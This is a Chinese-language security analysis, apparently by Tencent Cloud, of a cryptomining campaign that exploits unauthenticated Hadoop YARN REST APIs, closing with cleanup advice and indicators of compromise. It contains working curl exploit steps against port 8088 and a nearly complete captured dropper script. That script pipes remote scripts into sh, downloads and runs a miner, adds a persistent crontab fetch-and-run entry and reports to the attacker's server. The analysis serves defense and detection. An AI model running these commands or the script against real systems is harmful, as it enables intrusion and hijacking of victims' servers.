一、 背景
5月5日腾讯云安全团队曾针对攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。
二、 漏洞说明
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。
YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。
攻击步骤:
申请新的application
直接通过curl进行POST请求
1 curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'
返回内容类似于:
1 {"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}
构造提交任务
构造json文件1.json,内容如下,其中application-id对应上面得到的id,命令内容为尝试在/var/tmp
目录下创建11112222_test_111122222
文件,内容也为111
:
1 2 3 4 5 6 7 8 9 10 11 { "am-container-spec":{ "commands":{ "command":"echo '111' > /var/tmp/11112222_test_11112222" } }, "application-id":"application_1527144634877_20465", "application-name":"test", "application-type":"YARN" }
然后直接
1 curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json
即可完成攻击,命令被执行,在相应目录下可以看到生成了对应文件
更多漏洞详情可以参考 http://bbs.qcloud.com/thread-50090-1-1.html
三、入侵分析
在本次分析的案例中,受害机器部署有Hadoop YARN,并且存在未授权访问的安全问题,黑客直接利用开放在8088的REST API提交执行命令,来实现在服务器内下载执行.sh脚本,从而再进一步下载启动挖矿程序达到挖矿的目的。
整个利用过程相对比较简单,通过捕捉Hadoop 的launch_container.sh
执行脚本,我们可以看到其中一个案例中相关任务执行的命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash export LOCAL_DIRS="/root/hadoop/tmp/nm-local-dir/usercache/dr.who/appcache/application_1527144634877_20417" export APPLICATION_WEB_PROXY_BASE="/proxy/application_1527144634877_20417" ...这里省略部分内容 export CONTAINER_ID="container_1527144634877_20417_02_000001" export MALLOC_ARENA_MAX="4" exec /bin/bash -c "curl 185.222.210.59/x_wcr.sh | sh & disown" hadoop_shell_errorcode=$? if [ $hadoop_shell_errorcode -ne 0 ] then exit $hadoop_shell_errorcode fi
可以很明显的看到第8行位置,从185.222.210.59
下载并执行了一个名为x_wcr.sh
的脚本。
在实际过程中,我们从多个案例捕获了多个比如名为cr.sh
的不同脚本,但实际的功能代码都差不多,我们对其中一个x_wcr.sh
脚本进行分析,代码自上而下内容:
1 2 3 4 5 6 7 8 9 pkill -f cryptonight pkill -f sustes pkill -f xmrig pkill -f xmr-stak pkill -f suppoie ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9 ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9 rm -rf /var/tmp/pscf* rm -rf /tmp/pscf*
这部分代码主要针对已存在的挖矿进程、文件进行清理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 DIR="/tmp" if [ -a "/tmp/java" ] then if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ] then if [ -x "$(command -v md5sum)" ] then sum=$(md5sum /tmp/java | awk '{ print $1 }') echo $sum case $sum in 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853) echo "Java OK" ;; *) echo "Java wrong" pkill -f w.conf sleep 4 ;; esac fi echo "P OK" else DIR=$(mktemp -d)/tmp mkdir $DIR echo "T DIR $DIR" fi else if [ -d "/var/tmp" ] then DIR="/var/tmp" fi echo "P NOT EXISTS" fi
这部分的代码主要是判断如果/tmp/java
是一个存在并且可写的文件,那么就判断其MD5值是否匹配,MD5不匹配则根据w.conf
关键词查找并kill进程;如果非可写的文件,则重新赋值DIR变量,这个变量主要用于后面部分代码中下载挖矿等程序存放目录。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if [ -d "/tmp/java" ] then DIR=$(mktemp -d)/tmp mkdir $DIR echo "T DIR $DIR" fi WGET="wget -O" if [ -s /usr/bin/curl ]; then WGET="curl -o"; fi if [ -s /usr/bin/wget ]; then WGET="wget -O"; fi f2="185.222.210.59"
然后接着是一些变量的赋值,包括再次判断如果/tmp/java
是一个目录,则重新赋值DIR变量;判断curl和wget命令是否存在,存在则赋值到WGET变量;f2
则是赋值为某个IP,实则为是后续下载相关文件的服务器之一。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ]; then downloadIfNeed chmod +x $DIR/java $WGET $DIR/w.conf http://$f2/w.conf nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 & sleep 5 rm -rf $DIR/w.conf else echo "Running" fi if crontab -l | grep -q "185.222.210.59" then echo "Cron exists" else echo "Cron not found" LDR="wget -q -O -" if [ -s /usr/bin/curl ]; then LDR="curl"; fi if [ -s /usr/bin/wget ]; then LDR="wget -q -O -"; fi (crontab -l 2>/dev/null; echo "* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1")| crontab - fi
这部分代码是其中比较核心的代码,通过downloadIfNeed
方法下载挖矿程序到$DIR
目录下并重命名为java
,下载w.conf
配置文件,给挖矿程序增加执行权限,然后以nohup
命令后台运行挖矿程序并删除配置文件;接着检查crontab中的任务,如果不存在对应的任务,就将下载执行脚本的任务* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1
添加到其中,这里$LDR
为wget -q -O -
或者curl
,任务每分钟执行一次。
脚本中还包含了几个嵌套调用的download
方法,入口方法是downloadIfNeed
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 downloadIfNeed() { if [ -x "$(command -v md5sum)" ] then if [ ! -f $DIR/java ]; then echo "File not found!" download fi sum=$(md5sum $DIR/java | awk '{ print $1 }') echo $sum case $sum in 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853) echo "Java OK" ;; *) echo "Java wrong" sizeBefore=$(du $DIR/java) if [ -s /usr/bin/curl ]; then WGET="curl -k -o "; fi if [ -s /usr/bin/wget ]; then WGET="wget --no-check-certificate -O "; fi echo "" > $DIR/tmp.txt rm -rf $DIR/java download if [ -x "$(command -v md5sum)" ] then sum=$(md5sum $DIR/java | awk '{ print $1 }') echo $sum case $sum in 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853) echo "Java OK" cp $DIR/java $DIR/ppc ;; *) $WGET $DIR/java https://transfer.sh/WoGXx/zzz > $DIR/tmp.txt 2>&1 echo "Java wrong" sum=$(md5sum $DIR/java | awk '{ print $1 }') case $sum in 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853) echo "Java OK" cp $DIR/java $DIR/ppc ;; *) echo "Java wrong2" ;; esac ;; esac else echo "No md5sum" fi sumAfter=$(md5sum $DIR/java | awk '{ print $1 }') if [ -s /usr/bin/curl ]; then echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/java` >> $DIR/tmp.txt curl -F "file=@$DIR/tmp.txt" http://$f2/re.php fi ;; esac else echo "No md5sum" download fi }
这个方法的核心功能还是校验已存在的挖矿程序的MD5,如果无法验证或者文件不存在的情况,则直接调用download
方法下载挖矿程序;如果文件存在但MD5匹配不正确,则调用download
方法后再次验证,验证失败则尝试从另外一个下载渠道https://transfer.sh/WoGXx/zzz
下载挖矿程序并再次验证。最后还将相关结果上报到目标服务器$f2
的re.php
.
tmp.txt内容示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 download() { if [ -x "$(command -v md5sum)" ] then sum=$(md5sum $DIR/ppc | awk '{ print $1 }') echo $sum case $sum in 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853) echo "Java OK" cp $DIR/ppc $DIR/java ;; *) echo "Java wrong" download2 ;; esac else echo "No md5sum" download2 fi }
download
方法判断ppc文件的存在与否和 MD5是否匹配,如果不存在或MD5不匹配则调用download2
下载,如果存在则复制重名为java
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 download2() { f1=$(curl 185.222.210.59/g.php) if [ -z "$f1" ]; then f1=$(wget -q -O - 185.222.210.59/g.php) fi if [ `getconf LONG_BIT` = "64" ] then $WGET $DIR/java http://$f1/xm64?$RANDOM else $WGET $DIR/java http://$f1/xm32?$RANDOM fi if [ -x "$(command -v md5sum)" ] then sum=$(md5sum $DIR/java | awk '{ print $1 }') echo $sum case $sum in 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853) echo "Java OK" cp $DIR/java $DIR/ppc ;; *) echo "Java wrong" ;; esac else echo "No md5sum" fi }
download2
方法则判断系统下载对应版本的挖矿程序,其中http://185.222.210.59/g.php
返回的是另外一个IP地址;下载成功后则再次验证,并复制重命名为ppc
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pkill -f logo4.jpg pkill -f logo0.jpg pkill -f logo9.jpg pkill -f jvs pkill -f javs pkill -f 192.99.142.248 rm -rf /tmp/pscd* rm -rf /var/tmp/pscd* crontab -l | sed '/192.99.142.232/d' | crontab - crontab -l | sed '/192.99.142.226/d' | crontab - crontab -l | sed '/192.99.142.248/d' | crontab - crontab -l | sed '/logo4/d' | crontab - crontab -l | sed '/logo9/d' | crontab - crontab -l | sed '/logo0/d' | crontab -
在脚本的最后部分还有一些进程、文件、crontab清理的处理,用pkill删除满足条件的进程,删除tmp目录下pscd开头的文件,以及说删除crontab中存在某些关键词的任务。
至此,我们完成整个脚本的分析,虽然整个脚本比较冗长,而且似乎各个函数嵌套调用,涉及文件也众多,但其实整体就做了以下几件事:
清理相关的进程、文件和crontab任务
判断并下载挖矿程序,同时校验MD5值,除了黑客自己控制的服务器,还利用https://transfer.sh
提供备用下载,多种方式保障
增加脚本下载执行任务添加到crontab里
其实,我们通过查看YARN的日志文件yarn-root-nodemanager-master.hadoop.log
也可能看到相应的痕迹:
或者我们通过管理UI查看application详情:
而crontab的任务日志也能看到相关的执行记录:
最终在/var/tmp目录下也能找到相关的文件
四、安全建议
清理病毒
使用top查看进程,kill掉异常进程
检查/tmp和/var/tmp目录,删除java、ppc、w.conf等异常文件
检查crontab任务列表,删除异常任务
排查YARN日志,确认异常的application,删除处理
安全加固
通过iptables或者安全组配置访问策略,限制对8088等端口的访问
如无必要,不要将接口开放在公网,改为本地或者内网调用
升级Hadoop到2.x版本以上,并启用Kerberos认证功能,禁止匿名访问
云镜当前已支持该漏洞检测,同时也支持挖矿木马的发现,建议安装云镜并开通专业版,及时发现漏洞并修复或者在中马后能及时收到提醒进行止损
更多自检和修复建议可以参考 http://bbs.qcloud.com/thread-50090-1-1.html
五、IOCs
钱包地址
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
MD5
c8c1f2da51fbd0aea60e11a81236c9dc
183664ceb9c4d7179d5345249f1ee0c4
b00f4bbd82d2f5ec7c8152625684f853
矿池地址
158.69.133.20:3333
192.99.142.249:3333
202.144.193.110:3333
46.30.43.159:80
部分相关URL
hxxp://185.222.210.59/x_wcr.sh
hxxp://185.222.210.59/re.php
hxxp://185.222.210.59/g.php
hxxp://185.222.210.59/w.conf
hxxp://185.222.210.59/cr.sh
hxxp://192.99.142.226:8220/w.conf
hxxp://192.99.142.226:8220/xm64
hxxp://192.99.142.226:8220/cr.sh
hxxp://95.142.40.83/xm64
hxxp://95.142.40.83/xm32
hxxps://transfer.sh/1o3Kj/zzz
hxxps://transfer.sh/wbl5H/pscf
hxxps://transfer.sh/WoGXx/zzz